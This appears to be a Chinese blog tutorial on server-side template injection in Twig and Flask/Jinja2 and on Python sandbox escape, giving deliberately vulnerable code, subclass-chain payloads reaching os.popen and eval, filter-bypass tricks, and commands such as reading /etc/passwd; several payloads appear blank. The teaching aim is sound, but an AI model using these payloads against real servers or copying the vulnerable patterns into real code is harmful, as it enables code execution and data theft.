原理
服务端模板注入是由于服务端接收了用户的输入,将其作为web应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户存入的恶意内容,因而导致了敏感信息泄露、代码执行、getshell等问题。
主要为python的一些框架:jinja2, mako, tornado, django; PHP框架:smarty twig; Java框架:jade, velocity等等使用渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入。
模板引擎
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
简单的例子来简析模板渲染:
<html>
<div>{$what}</div>
</html>
我们想要呈现在每个用户前面自己的名字。但是{$what}我们不知道用户名字是什么,用一些url或者cookie包含的信息,渲染到what变量里,呈现给用户:
<html>
<div>张三</div>
</html>
服务端模板注入
通过模板,我们可以通过输入转换成特定的HTML文件,比如一些博客页面,登录的时候可能会返回hi, 张三。这个时候张三可能就是通过你的身份信息而渲染成HTML返回到页面。
PHP实例
- first one(没有问题)
<php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello ", array("name" => $_GET["name"]));
echo $output;
?>
Twig使用一个加载器Twig_Loader_String来定位模板,和一个环境Twig_Environment来存储配置信息。render方法通过传递过来的第一个参数来加载模板,通过传递过来的第二个参数(也就是变量)来渲染它。
当然Twig内置有自动加载器:
require_once 'twig/lib/Twig/Autoloader.php';
Twig_Autoloader::register();
我们这个代码是没有什么问题的,用户输入的时候渲染的就是name的值,由于name外面已经有了````,所以,显示的时候只是name变量的值,不会将我们输入的内容作为模板变量解析,而是原样输出。 好晕啊!!! 哦哦懂了,解析的是name的值。若直接则是解析输入的内容,这样就会造成SSTI漏洞。
- two(有问题)
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}"); //将用户输入作为模板内容的一部分
echo $output;
?>
这样的话,用户输入的内容就直接放在了要渲染的字符串中了,会被解析构成危害。
注意:不要把这里的 {} 当成是模板变量外面的括号,这里的括号实际上只是为了区分变量和字符串常量。
python实例
- first one (Flask(Jinja2)服务端模板注入)
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello" + name)
return t.render()
if __name__ == "__main__":
app.run()
这里需要安装flask模块:
在Termina终端l下输入:
pip3 install flask
然后就可以成功执行:
* Debug mode: off
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [02/May/2021 17:26:31] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [02/May/2021 17:26:31] "GET /favicon.ico HTTP/1.1" 404 -
访问http://127.0.0.1:5000/
即可
route装饰器路由
@app.route('/')
使用route()装饰器告诉Flask什么样的URL能触发我们的函数。route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如:
@app.route('/')
def test():
return 123
访问http://127.0.0.1:5000/
则会输出123,我们修改一下规则:
@app.route('/test')
def test():
return 123
这个时候需要访问http://127.0.0.1:5000/test
,才会输出123。
还可以设置动态网址:
@app.route("/hello/<username>")
def hello_user(username):
return ("user:%s" % username)
……
main入口
当.py文件被直接运行的时候,if __name__ == "__main__"
之下的代码块将被运行;当.py文件以模块形式被导入时,if __name__ == "__main__"
之下的代码块不被运行。
如果你经常以cmd方式运行自己写的python脚本,那么不需要这个东西,但是如果需要做一个稍微大一点的python开放,写
if __name__ = "__main__"
将会是一个良好的习惯,大一点的python脚本要分开几个文件来写,一个文件要使用另一个文件,也就是模块,此时这个if就会起到作用不会运行而是类似文件包含来使用。
讲解就先到这里,接下来我们开始注入这个含有ssti漏洞的页面:
首先我们正常访问它:
传入参数:?name=
,可以看到内容被解析了:
python执行系统命令
在python里要执行系统命令需要 import os 模块。想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册。
#在上述代码中加入
t.globals['os'] = os
我们想要在未注册OS模块的情况下调用popen()函数执行系统命令,就要用到各种下划线函数了:
[].__class__ #用来查看变量所属的类,根据前面的变量形式可以得到其所属的类
[].__class__.__base__ #用来查看类的基类,也可是使用数组索引来查看待定位置的值
[].__class__.__base__.__subclasses__() #查看当前类的子类。直接用object.subclasses(),也是一样的结果。
由此可以访问到很多其他模块,os模块自然也可以这样访问到。
访问os模块需要从warnings.catch_warnings模块入手。让我们看看catch_warnings在哪个位置:
>>> import warnings
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
当我们获取了位置后,再用__globals__
看看该模块有哪些global函数:
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys()
emmm,这里的箭头不用管,这个找不到os模块,这里我们找sys函数中找os模块:
>>> [].__class__.__base__.__subclasses__()[145].__init__.__globals__['sys'].__dict__
#找到os模块
'os': <module 'os' from 'D:\\python\\lib\\os.py'>
使用os模块…..
这里我找到了os模块但是调用的时候,显示没有这个模块,emmm,无法进行了。先跳过先跳过。
这里换一种方式:
"".__class__
"".__class__.__bases__
"".__class__.___mro__ //mro给出了method resolution order,即解析方法调用顺序
"".__class__.__base__[0].__subclasses__() //上面说过
在开始找到我们需要找到的合适的类,然后从合适的类中寻找我们需要的方法。可利用的类,这里举例一种(既然上面的方法找不到,那就换一种),<class 'os._wrap_close'>
,os命令相信你看到就感觉很亲切。我们正是要从这个类中寻找我们可以利用的方法。看看它是第几个类(注意起始点为0),找到后为第134个。
然后我们可以利用.__init__
初始化,.__globals__
来找os类下的方法及变量及参数。
?name=
然后可以得到各种参数方法函数。我们找到其中一个可利用的function popen,在python2中可以找到file读取文件,很多可利用方法,详情可以继续百度。
?name=
此时,我们可以看到命令已经被执行了。如果是Linux系统则可以执行其他命令。此时我们已经成功得到权限。
获取eval()函数并执行任意python代码的POC如下:
python沙箱逃逸
python绕过沙盒中常见的函数、属性、模块解释
__globals__
返回包含函数全局变量的字典的引用————定义函数的模块的全局命名空间。
__getattribute__
被调用无条件地实现类的实例的属性访问。
什么是python的沙箱逃逸
所谓的沙箱逃逸就是从一个被被阉割和做了严格限制的python执行环境中获取到更高的权限,甚至getshell,这是我们的最终目的,但是实现这个目标之前我们必须解决的就是如何绕过重重的waf去使用python执行命令。
python能执行命令或者存在执行命令功能的函数是一定的,但是它的存在形式是多样的,它过滤了这种形式我们就换一种形式表示,正所谓曲线救国(手动狗头)。
攻与防
防:我们想要直接引入命令的os模块等,若遭遇过滤:
re.compile('import\s+(os|commands|subprocess|sys)')
攻:那就用__import__()
取而代之。
防:若__import__(module)
被过滤。
攻:那就转换编码:__import__("pbzznaqf".decode('rot_13'))
。
防:若__import__
被过滤。
攻:那就不用__import__
了,我们有内建函数直接调用__bulitin__
/__bulitins__
。
常见的一些危险函数都是__bulitin__
里的,我们可以直接用eval(), exec(), execfile()。
防:那么把__bulitin__
中危险的函数都给你过滤掉呢?
攻:reload()函数重新加载完整的没有阉割的__builtin__
:reload(__builtin__)
。
防:那就把reload()也过滤了。(reload()也是一个内建函数,我们把__builtin__
中的热老大的()过滤了)
攻:imp 模块也是一个可以引入东西的一个模块。
import imp
imp.reload(__builtin__)
再次成功引入。
防:从源头解决问题,我们知道python的模块其实都存放在sys.modules中,不要什么就删什么:
sys.modules['os'] = None
好了,这下看你们怎么办。
攻:确实难搞啊,让我们从import开始分析:
import步骤:
1.如果是import A,检查sys.modules中是否已经有A,如果有则不加载,如果没有则为A创建module对象,并加载A。
2.如果是from A import B,先为A创建module对象,在解析A,从中寻找B并填充到A的dict中。
那我们可以向更源头追溯,我们都知道任何的模块归根到底都是文件,只要文件还在,我们就可以找到方法。
比如类unix的系统中,os模块的路径一般都是/usr/lib/python2.7/os.py
,那我们就直接写这个:
import sys
sys.modules['os'] = '/usr/lib/python2.7/os.py'
import os
防:我把sys也给你禁了,让你绕!
攻:一样的思路,用其他函数引用文件:
execfile('/usr/lib/python2.7/os.py')
system('cat /etc/passwd')
防:过滤过滤,把execfile()过滤了。
攻:用文件读取函数读入文件,再用exec()同样可以。
防:直接删文件。
攻:这样的话,我就想起了,没有编译器手写编译器的梗,这里完全可以用嘛。。。。 但是这样鲁莽地删除关键函数文件是很危险的,很容易出现莫名的依赖问题,不推荐使用。
一些绕过小tips
- 过滤[]等括号
使用gititem()绕过。如原poc:,绕过后为:
。
- 过滤了subclasses,拼凑法。
原poc:,绕过后为:
。
- 过滤class,使用session
绕过后的poc:````。多个__basees__[0]
是因为一直在向上找object类。使用mro就会方便很多:
或者
其他poc:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
模板注入payload
- Twig模块
判断方法:输入````返回49表示为 Twig 模块,我们使用payload:
- Jinja2模块
判断方法:输入````返回7777777表示为 Jinja2 模块,我们使用payload:
参考文章:—–>micr067
—–>小猪佩琪
—–>SSTI漏洞